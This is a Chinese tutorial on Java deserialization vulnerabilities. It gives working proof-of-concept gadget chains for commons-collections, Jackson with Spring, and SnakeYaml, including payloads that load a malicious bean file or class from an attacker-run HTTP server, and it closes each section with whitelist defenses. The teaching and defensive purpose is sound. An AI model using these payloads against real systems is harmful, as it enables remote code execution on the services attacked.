安全攻防丨反序列化漏洞的实操演练

安全,攻防,序列化,漏洞,演练 · 浏览次数 : 40

小编点评

**攻击链调用过程分析:** 1. ScriptEngineManager的构造方法用于加载Class文件,通过URLClassLoader获取相应的待加载类对象。 2. 通过Constructor加载类对象,调用其init方法执行类加载。 3. 类的init方法执行构造方法,创建ScriptEngineManager实例。 4. ScriptEngineManager实例被初始化时,调用其initEngines方法进行引擎初始化。 5. 引擎初始化完成后,执行static静态块代码的执行。 **白名单防护:** 1. 在构造函数中,将map中null对应的构建器从ConstructYamlObject改为undefinedConstructor。 2. 创建addTrustClass方法,支持将制定类名加入map中,达到白名单的效果。 **安全编码防御控制:** 1. 在 new Yaml 时,将SecureConstructor传进去,以起到白名单防护的作用。 2. 通过白名单校验,确保数据源的安全性。 **其他提示:** 1. 攻击链的调用过程涉及多个类加载和方法调用,需要对这些类进行白名单验证。 2. 攻击者可以通过其他手段攻破进来篡改了相关依赖的数据源后发动组合攻击,建议做白名单防护。

正文

本文分享自《【安全攻防】深入浅出实战系列专题-反序列化漏洞》,作者:MDKing。

1. 基本概念

序列化:将内存对象转化为可以存储以及传输的二进制字节、xml、json、yaml等格式。

反序列化:将虚化列存储的二进制字节、xml、json、yaml等格式的信息重新还原转化为对象实例。

 
数据格式 序列化后的信息样例
二进制
xml
json {"name":"tianyi","age":20}
yaml
!!com.huaweicloud.secure.Person {age: 20, name: tianyi}\n

序列化/反序列化库:如果想将对象序列化为二进制格式(或者反序列化回对象),直接使用JDK库自带的ObjectOutputStream的readObject、writeObject方法即可。如果想与其它格式(xml、json、yaml)相互转换,一般需要引入jackson、snakeyaml等其它开源组件,使用开源组件中提供的库方法。

 
库名称 序列化支持的格式
jdk 二进制、xml
xstream xml、json
jackson xml、json
fastjson json
gson json
json-io json
flexson json
snakeyaml yaml

反序列化漏洞:当业务代码中使用了反序列化相关方法,但对输入的反序列化数据并未做充分的校验控制,攻击者能够控制反序列数据的输入时,攻击者可以针对业务代码的JDK、开源组件版本、已加载的类的情况精心构造一系列对象链数据,最终达成任意命令行执行或者远程代码执行的效果。

2. JDK反序列化漏洞利用实战

2.1 JDK与开源组件版本准备

JDK版本:1.8.0_232(其它更新的版本应该也ok,没有具体逐一验证)

commons-collections组件版本:3.2.1(从3.2.2开始增加了安全校验,需要手动设置System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");)

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

2.2 漏洞利用代码演示

public static void main(String[] args) throws Exception{
    // 构造利用链相关环的对象,最终目的达到命令行执行的效果(本例中弹出计算器应用)
    Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc"})};
    Transformer chain4Obj = new ChainedTransformer(transformers);
    LazyMap chain3Obj = (LazyMap)LazyMap.decorate(new HashMap(), chain4Obj);
    TiedMapEntry chain2Obj = new TiedMapEntry(chain3Obj, "anyKey");

    // 构造利用链的第一环BadAttributeValueExpException对象,因相关方法非public,使用反射强行设置val属性
    BadAttributeValueExpException chain1Obj = new BadAttributeValueExpException(null);
    Field valField = chain1Obj.getClass().getDeclaredField("val");
    valField.setAccessible(true);
    valField.set(chain1Obj, chain2Obj);

    // 使用jdk库函数将chain1Obj序列化到文件D:\hacker中
    ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream("D:\\hacker"));
    objOut.writeObject(chain1Obj);

    // 使用jdk库函数将文件D:\hacker内容反序列化为对象,反序列化漏洞触发任意命令行执行
    ObjectInputStream objIn = new ObjectInputStream(new FileInputStream("D:\\hacker"));
    Object object = objIn.readObject();
}

执行结果,成功打开了window的计算器应用,漏洞利用成功

由于序列化部分的代码将对象序列化到文件D:\hacker中了,实际上我们直接读取该文件进行反序列化即可触发命令行执行(或者说我把该文件发给你,你在本地执行反序列化,一样会触发命令执行),如下

2.3 漏洞利用原理分析

首先,反序列化漏洞利用最终目标是要能任意执行命令行命令或者远程代码执行,本例中,是达成了执行任意命令行命令,即本例中的命令calc。在Java中相当于要执行代码:Runtime.getRuntime().exec("calc");其中calc只是示例,可以换成任意其它命令。

那是不是直接把这一行代码写到demo程序里就行了?不,直接写这一行代码你只能在demo程序运行的时候有效果。没办法在实际反序列化的业务代码中执行的。我们需要利用反序列化过程本身会调用的方法作为入口,触发我们注入的命令执行。在jdk的ObjectInputStream.readObject的反序列过程会调用目标反序列化对象的readObject方法。我们需要利用该入口调用我们注入的命令。

那是不是直接定义一个对象X,在readObject方法里写这一行代码(Runtime.getRuntime().exec("calc");)就行了,样例代码为什么整的那么复杂?答案依然是不行。这样也仅能在攻击者本地执行,业务执行环境中是没有X这个类的定义的。会报错ClassNotFoundException。

所以我们只能利用业务代码本身已经加载的jdk以及常用开源组件中的类来构造序列化攻击链,本例中选用的攻击链的第一环为BadAttributeValueExpException对象。当执行反序列化时,首先会触发调用BadAttributeValueExpException的readObject方法。

2.4 攻击链调用过程详解

攻击链调用的第一环为BadAttributeValueExpException的readObject方法:

BadAttributeValueExpException.readObject:

其中valObj即为我们在demo样例中执行valField.set(chain1Obj, chain2Obj);设置进val属性的chain2Obj对象(TiedMapEntry类型),紧接着调用TiedMapEntry的toString方法:

TiedMapEntry.toString:

紧接着到getValue方法

TiedMapEntry.getValue:

this.map为我们在demo样例中执行TiedMapEntry chain2Obj = new TiedMapEntry(chain3Obj, "anyKey");初始化进去的chain3Obj对象(LazyMap类型),所以接着会调用LazyMap的get方法:

LazyMap.get:

this.factory为我们在demo样例中执行LazyMap chain3Obj = (LazyMap)LazyMap.decorate(new HashMap(), chain4Obj);初始化进去的chain4Obj对象(ChainedTransformer类型),所以接着执行ChainedTransformer的transform方法:

ChainedTransformer.transform:

该方法会遍历Transformer数组中我们注入进去利用InvokerTransformer的反射机制间接执行的命令行执行代码。相当于利用业务代码已加载的库函数,通过传值的方式(利用反射机制)间接实现了自定义代码执行,Transformer数组遍历执行transform的效果相当于执行了Runtime.getRuntime().exec("calc");这一行代码。

2.5 攻击链总结

利用库:jdk、commons-collections

利用入口:BadAttributeValueExpException的readObject方法

达成效果:任意命令行执行

涉及机制:反射

攻击链对象关系图:

攻击链调用顺序图:

2.6 进阶延伸-其它经典攻击链

假如业务上通过黑名单的方法禁止了BadAttributeValueExpException类的反序列化,能防止反序列化攻击吗?答案是否定的。这条链被禁了,我们换一条就是了。本小节介绍另外一条commons-collections的经典攻击链。

利用库:jdk(在1.8以下版本)、commons-collections(保持与上面版本一致即可)

利用入口:AnnotationInvocationHandler的readObject方法

达成效果:任意命令行执行

涉及机制:反射、动态代理

代码Poc:

public static void main(String[] args) throws Exception{
    // 构造利用链相关环的对象,最终目的达到命令行执行的效果(本例中弹出计算器应用)
    Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc"})};
    Transformer chanin5Obj = new ChainedTransformer(transformers);
    LazyMap chain4Obj = (LazyMap)LazyMap.decorate(new HashMap(), chanin5Obj);

    Constructor<?> constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
    constructor.setAccessible(true);
    InvocationHandler chain3Obj = (InvocationHandler) constructor.newInstance(SuppressWarnings.class, chain4Obj);
    Map chain2Obj = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), chain3Obj);
    InvocationHandler chain1Obj = (InvocationHandler) constructor.newInstance(Override.class, chain2Obj);

    // 使用jdk库函数将chain1Obj序列化到文件D:\hacker2中
    ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream("D:\\hacker2"));
    objOut.writeObject(chain1Obj);

    // 使用jdk库函数将文件D:\hacker2内容反序列化为对象,反序列化漏洞触发任意命令行执行
    ObjectInputStream objIn = new ObjectInputStream(new FileInputStream("D:\\hacker2"));
    Object object = objIn.readObject();
}

执行结果:虽然后续代码有报错,但是已经执行完注入的命令行部分的代码。

攻击链调用顺序图:

2.7 安全编码防御

上面我们看到了利用常用开源组件的多个类构建的一系列攻击链,如果仅用黑名单限制某些攻击链上类的反序列化是不够的,会有源源不断的新的攻击链被挖掘出来。所以为了让代码更受控、更安全,最好能梳理清楚业务上需要反序列化的类列表,进行白名单校验。

控制反序列化源:反序列化的数据源如果是可以轻易被外部用户控制的,就一定要做白名单校验。如果数据源在正常业务不能被外部控制,但是也不能完全排除攻击者通过其它手段攻破进来篡改了相关依赖的数据源后发动组合攻击,最好也做白名单防护。

白名单校验:涉及到使用ObjectInputStream进行反序列化时,重写resolveClass方法增加白名单校验。业务代码使用重写的SecureObjectInputStream类进行反序列化。

public final class SecureObjectInputStream extends ObjectInputStream {
    public SecureObjectInputStream(InputStream in) throws IOException {
        super(in);
    }

    protected SecureObjectInputStream() throws IOException, SecurityException {
        super();
    }

    protected Class<?> resolveClass(ObjectStreamClass desc)
            throws IOException, ClassNotFoundException {
        if (!desc.getName().equals("com.huaweicloud.secure.serialize.jdk.Person")) { // 白名单校验
            throw new ClassNotFoundException(desc.getName() + " not find");
        }
        return super.resolveClass(desc);
    }
}

3. Jackson反序列化漏洞利用实战

3.1 JDK与开源组件版本准备

JDK版本:1.8.0_232(其它更新的版本应该也ok,没有具体逐一验证)

jackson-databind组件版本:2.7.0

<dependency>
    <groupId>com.fasterxml.jackson.core</groupId>
    <artifactId>jackson-databind</artifactId>
    <version>2.7.0</version>
</dependency>
spring-context组件版本:4.3.29.RELEASE

<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-context</artifactId>
    <version>4.3.29.RELEASE</version>
</dependency>

3.2 漏洞利用代码演示

  • 远程服务器环境准备

本例需要启动http服务器,以便可以通过http协议获取恶意bean定义文件hackerbean.xml的内容

hackerbean.xml

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="hacker" class="java.lang.ProcessBuilder">
        <constructor-arg value="calc" />
        <property name="whatever" value="#{ hacker.start() }"/>
    </bean>
</beans>

本例通过nodejs启动http服务器

staticServer.js

let express = require('express')
let app = express();
app.use(express.static(__dirname));
app.listen(3000)

启动http服务器,并验证可以成功访问hackerbean.xml文件

  • 攻击样例代码

public static void main(String[] args) throws Exception{
    String json = "[\"org.springframework.context.support.ClassPathXmlApplicationContext\", \"http://127.0.0.1:3000/hackerbean.xml\"]\n";
    ObjectMapper mapper = new ObjectMapper();
    mapper.enableDefaultTyping();
    Object obj = mapper.readValue(json, Object.class);
    System.out.println(obj);
}
  • 执行结果

日志会报创建bean失败抛异常,但是我们关键的执行命令行命令的代码已经执行过了,成功打开了计算器

3.3 漏洞利用原理分析

  • 本例最终达成的目的是通过远程加载bean配置文件,利用初始化ProcessImpl类的bean的过程,将任意字符串作为命令行执行内容注入,达到任意命令行命令执行的效果。

  • 本例利用的是Jackson的enableDefaultTyping(默认类型处理)功能。在 Jackson 库中,enableDefaultTyping是一个用于启用默认类型处理的方法。它的作用是在序列化和反序列化过程中包含类型信息,以便在恢复对象时能够正确地处理多态类型。一般配合业务代码中不指定具体类型的写法使用mapper.readValue(json, Object.class);(readValue的第二个参数为Object.class)即在代码中不明确指定反序列化后的类型,类型信息存储在序列化后的数据中。

  • 此时,如果反序列化内容为数组形式[a,b],a为类路径名称时,第二个参数会被作为构造函数或者属性set方法的参数触发a类对应的代码执行。(第二个参数后面的参数会被忽略掉)

当b为对象类型格式时:触发a的无参构造函数执行,以及对应属性set方法执行。(例如:["com.huaweicloud.secure.MySerialize", {"name":"tianyi","age":12}]会触发setName、setAge方法执行)

当b为非对象类型格式时:会根据类型(字符串、数字、bool等)尝试寻找单参数的参数类型匹配的构造方法执行,找不到会抛异常。

  • 本例中利用了enableDefaultTyping的特性在反序列化过程中创建了ClassPathXmlApplicationContext对象,并传入http://127.0.0.1:3000/hackerbean.xml作为参数调用ClassPathXmlApplicationContext的构造方法,达到了远程加载bean文件解析bean的作用。

3.4 攻击链调用过程详解

攻击链调用的第一环为ClassPathXmlApplicationContext的构造方法:

ClassPathXmlApplicationContext.ClassPathXmlApplicationContext:

加载远程文件http://127.0.0.1:3000/hackerbean.xml作为bean进行解析

hackerbean.xml

创建ProcessBuilder,构造器依赖注入,调用ProcessBuilder的构造方法

试图初始化whatever属性(不需要实际存在该属性)的值,触发调用ProcessBuilder的start方法,成功将hackerbean.xml中构造器注入的内容calc作为命令行执行。

3.5 攻击链总结

利用库:jdk、jackson-databind、spring-context

利用入口:ClassPathXmlApplicationContext的构造方法

达成效果:任意命令行执行(远程加载bean配置文件)

涉及机制:Jackson的enableDefaultTyping(默认类型处理)功能、Spring bean远程加载/依赖注入/属性动态初始化功能

3.6 进阶延伸-其它经典攻击链

如果mapper.readValue的第二个参数为具体的类,还有办法攻击吗?答案是有的,但是需要业务类具备一定的特殊写法。

Poc:

 public static void main(String[] args) throws Exception{
        String json = "{\"context\": \"http://127.0.0.1:3000/hackerbean.xml\"}";
        ObjectMapper mapper = new ObjectMapper();
        Object obj = mapper.readValue(json, Person.class);
        System.out.println(obj);
    }

Person类的定义:

public class Person {
    private String name;
    private Integer age;
    private ClassPathXmlApplicationContext context;

    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public Integer getAge() {
        return age;
    }
    public void setAge(Integer age) {
        this.age = age;
    }
    public ClassPathXmlApplicationContext getContext() {
        return context;
    }
    public void setContext(ClassPathXmlApplicationContext context) {
        this.context = context;
    }
}

执行结果:

原理解析:

readValue指定了要反序列化Person类,json的内容为{属性名:属性值},触发Person的set属性名的方法,在本例中触发setContext(ClassPathXmlApplicationContext context)方法执行,我们传入的属性值是字符串,与ClassPathXmlApplicationContext不匹配时,会自动触发调用ClassPathXmlApplicationContext的构造方法,将字符串作为构造方法的参数传入。就跟上面的利用链连上了。(而且注意本例不需要开启enableDefaultTyping功能

3.7 安全编码防御

  • 控制反序列化源,除非业务需要,一定要禁止反序列化数据源可被外部控制。

  • 禁用enableDefaultTyping特性

  • 反序列化的属性严格审视,最好都是简单类型的,如果涉及到复杂类,要排查其构造方法是否有被利用的风险。

4. SnakeYaml反序列化漏洞利用实战

4.1 JDK与开源组件版本准备

JDK版本:1.8.0_232(其它更新的版本应该也ok,没有具体逐一验证)

snakeyaml组件版本:1.23

4.2 漏洞利用代码演示

  • 远程服务器环境准备

本例需要启动http服务器,以便可以通过http协议远程加载配置文件META-INF\services\javax.script.ScriptEngineFactory以及恶意类PoCWin.class的内容

META-INF\services\javax.script.ScriptEngineFactory:(在web服务器的根目录下依次创建META-INF、services文件夹,将javax.script.ScriptEngineFactory放到services文件夹下)

PoCWin

PoCWin.class对应的源码内容:(放在web服务器的根目录下)

public class PoCWin implements ScriptEngineFactory {
    static {
        try {
            System.out.println("Hacked by tianyi");
            Runtime.getRuntime().exec("calc.exe").waitFor();//执行计算器
        } catch (IOException | InterruptedException e) {
            e.printStackTrace();
        }
    }

    // 其它接口必须实现的方法
    ...
}

本例通过nodejs启动http服务器

staticServer.js

let express = require('express')
let app = express();
app.use(express.static(__dirname));
app.listen(3000)

启动http服务器,并验证可以成功访问javax.script.ScriptEngineFactory文件、PoCWin.class文件

  • 攻击样例代码
public static void main(String[] args) throws Exception{
    String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:3000/\"]]]]";
    Yaml yaml = new Yaml();
    Object object = yaml.load(poc);
    System.out.println(object);
}
  • 执行结果

成功打印出Hacked by tianyi、弹出计算器

4.3 漏洞利用原理分析

  • 本例最终达成的目的是通过远程加载class文件,利用类加载过程,将任意代码注入到static静态块中,达到远程任意代码执行的效果。

  • snakeyaml与jackson类似,反序列化时也有不指定类型(Yaml.load)与指定类型(Yaml.loadAs)两种方法。本例中使用的是不指定类型的方法,类型信息在反序列化信息中。本例Poc中"!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:3000/\"]]]]"被反序列化时的效果为:创建ScriptEngineManager类型的对象,调用其构造方法ScriptEngineManager(ClassLoader loader),由触发创建ClassLoader的对象,调用其构造方法URLClassLoader(URL[] urls),其中的\"http://127.0.0.1:3000/\"则被作为urls参数传入构造方法。

  • 本例中利用了Java SPI机制,jdk中的ScriptEngineManager类会加载类加载器中所有实现javax.script.ScriptEngineFactory接口的类。我们正是利用这个逻辑,创建了实现了ScriptEngineFactory接口的PoCWin类,并注册到配置文件META-INF\services\javax.script.ScriptEngineFactory中。(注意:规则为注册文件名与接口名保持一致)

Java SPI(Service Provider Interface)是Java提供的一种用于扩展框架的机制。它允许开发者定义一个接口,然后通过配置文件的方式,将接口的具体实现类动态地加载到应用程序中。

4.4 攻击链调用过程详解

攻击链的第一环为ScriptEngineManager的构造方法:

ScriptEngineManager的构造方法

为了调用该构造方法,需要先完成其入参ClassLoader的前置初始化,调用URLClassLoader的构造方法,根据传入的url地址获取对应的待加载class文件PoCWin.class

URLClassLoader的构造方法

之后调用ScriptEngineManager的init方法执行类的加载

ScriptEngineManager.init

具体会在ScriptEngineManager.initEngines方法的122行,遍历获取到PoCWin类执行加载,触发static静态块代码的执行。(sl中获取了类加载器加载到的所有实现了javax.script.ScriptEngineFactory接口的类的列表)

ScriptEngineManager.initEngines

4.5 攻击链总结

利用库:jdk、snakeyaml

利用入口:ScriptEngineManager的构造方法

达成效果:远程任意代码执行

涉及机制:Java SPI

4.6 进阶延伸-其它经典攻击链

如果业务代码使用了带类型的反序列化方法Yaml.loadAs,还能进行攻击吗?也是可以的。

Poc:

public static void main(String[] args) throws Exception{
    String poc = "[!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:3000/\"]]]]]";
    Yaml yaml = new Yaml();
    Object object = yaml.loadAs(poc, Person.class);
    System.out.println(object);
}

Person类的定义:

public class Person implements Serializable {
    private String name;
    private Integer age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public Integer getAge() {
        return age;
    }

    public void setAge(Integer age) {
        this.age = age;
    }

    public Person(String name) {
        System.out.println("init");
    }
}

执行结果:

原理解析:

loadAs方法会将poc内容[]中的部分作为对象进行初始化为参数对象,然后调用Person的单参数的构造方法Person(String name),将参数传入,虽然会报错参数类型不匹配,但是[]中内容初始化的过程已经触发了恶意代码的执行。(注意:本例中poc比上例中多了一层[],如果不多这一层[],则仅会创建URLClassLoader对象作为参数,不会触发恶意代码执行)

4.7 安全编码防御

控制反序列化源:反序列化的数据源如果是可以轻易被外部用户控制的,就一定要做白名单校验。如果数据源在正常业务不能被外部控制,但是也不能完全排除攻击者通过其它手段攻破进来篡改了相关依赖的数据源后发动组合攻击,最好也做白名单防护。

白名单校验:定义我们自己的支持白名单的SecureConstructor,继承Constructor(当使用无参构造函数new Yaml()创建Yaml对象时,默认使用的就是Constructor)。Constructor会默认放通所有的类执行yaml对象解析逻辑(即执行ConstructYamlObject中的逻辑)。所以我们首先要在构造函数中将map中null对应的构建器从ConstructYamlObject改为undefinedConstructor。然后创建addTrustClass方法,支持将制定类名加入map中,达到白名单的效果。

public class SecureConstructor extends Constructor {
    public SecureConstructor() {
        super();
        yamlConstructors.put(null, undefinedConstructor);   // 修改逻辑为默认拒绝,即未在map中定义的类默认走undefinedConstructor的逻辑,抛异常
    }
    
    public void addTrustClass(String name) {    // 添加类的全路径名则会进入白名单
        yamlConstructors.put(new Tag(Tag.PREFIX + name), new SecureConstructObject());
    }
    protected class SecureConstructObject extends ConstructYamlObject {
        public SecureConstructObject() {
            super();
        }
    }
}

业务代码在new Yaml时将SecureConstructor传进去,以起到白名单防护的作用

    public static void main(String[] args) throws Exception{
        String poc = "[!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:3000/\"]]]]]";
        SecureConstructor secureConstructor = new SecureConstructor();
        secureConstructor.addTrustClass("com.huaweicloud.secure.serialize.snakeyaml.Person");
        Yaml yaml = new Yaml(secureConstructor);
        Object object = yaml.loadAs(poc, Person.class);
        System.out.println(object);
    }

执行结果如下,ScriptEngineManager类在创建时被拦截

点击关注,第一时间了解华为云新鲜技术~

 

与安全攻防丨反序列化漏洞的实操演练相似的内容:

安全攻防丨反序列化漏洞的实操演练

通过实操演练,深入浅出、快速吃透反序列化漏洞的根本原理。

从原理到实战,详解XXE攻击

本文分享自华为云社区《【安全攻防】深入浅出实战系列专题-XXE攻击》,作者: MDKing。 1 基本概念 XML基础:XML 指可扩展标记语言(Extensible Markup Language),是一种与HTML类似的纯文本的标记语言,设计宗旨是为了传输数据,而非显示数据。是W3C的推荐标准。

5.1 缓冲区溢出与攻防博弈

在黑客安全圈子中,基于内存攻击技术的攻击手段在随着时代的变化而不断发展着,内存攻击是指通过利用软件的安全漏洞,构造恶意的输入,从而使正常程序造成拒绝服务或者是远程获得控制权,内存攻击技术中最先登上历史舞台的就是缓冲区溢出漏洞,时至今日能够被广泛利用的并具有较大破坏性的高危漏洞(CVE)几乎都属于缓冲区溢出。首先读者应该明白缓冲区溢出(Buffer Overflow),它分为栈溢出与堆溢出,此类漏洞

腾讯安全

转载:腾讯安全杨光夫:从实战、智能化安全运营出发,实现安全免疫力建设进阶 腾讯安全积累了AI能力、威胁情报能力、攻防对抗三大原子能力。 攻防体系架建设 以攻促防的攻防体系建设进阶,核心要解决的痛点是发现和感知安全威胁的存在及可能性、解决资产暴露面问题、满足企业自主创新要求。 在流量检测与响应上,腾讯

【Android 逆向】【攻防世界】easy-apk

apk 安装到手机,随便输入点内容,提示错误 2. apk 拖入到jadx中看看 public class MainActivity extends AppCompatActivity { /* JADX INFO: Access modifiers changed from: protected

【Android 逆向】【攻防世界】基础android

1. 下载并安装apk,提示要输入密码 2. apk拖入到jadx中看一下 this.login.setOnClickListener(new View.OnClickListener() { // from class: com.example.test.ctf02.MainActivity.1

【Android 逆向】【攻防世界】APK逆向

1. apk安装到手机,提示输入flag 2. jadx打开apk 定位到checkSN方法 public boolean checkSN(String userName, String sn) { if (userName != null) { try { if (userName.length(

【Android 逆向】【攻防世界】ill-intentions

1. apk 安装到手机, 啥输入框都没有 2. apk拖入到jadx中看看 public class MainActivity extends Activity { @Override // android.app.Activity public void onCreate(Bundle save

【Android 逆向】【攻防世界】boomshakalaka-3

1. apk 安装到手机,是一个cocos2dx 写的打飞机的游戏 题目描述跟得分有关(题目描述: play the game, get the highest score) 2. jadx 打开apk public class FirstTest extends Cocos2dxActivity

【Android 逆向】【攻防世界】app1

1. apk安装到手机, 老套路了 2. jadx打开 this.btn.setOnClickListener(new View.OnClickListener() { // from class: com.example.yaphetshan.tencentgreat.MainActivity.1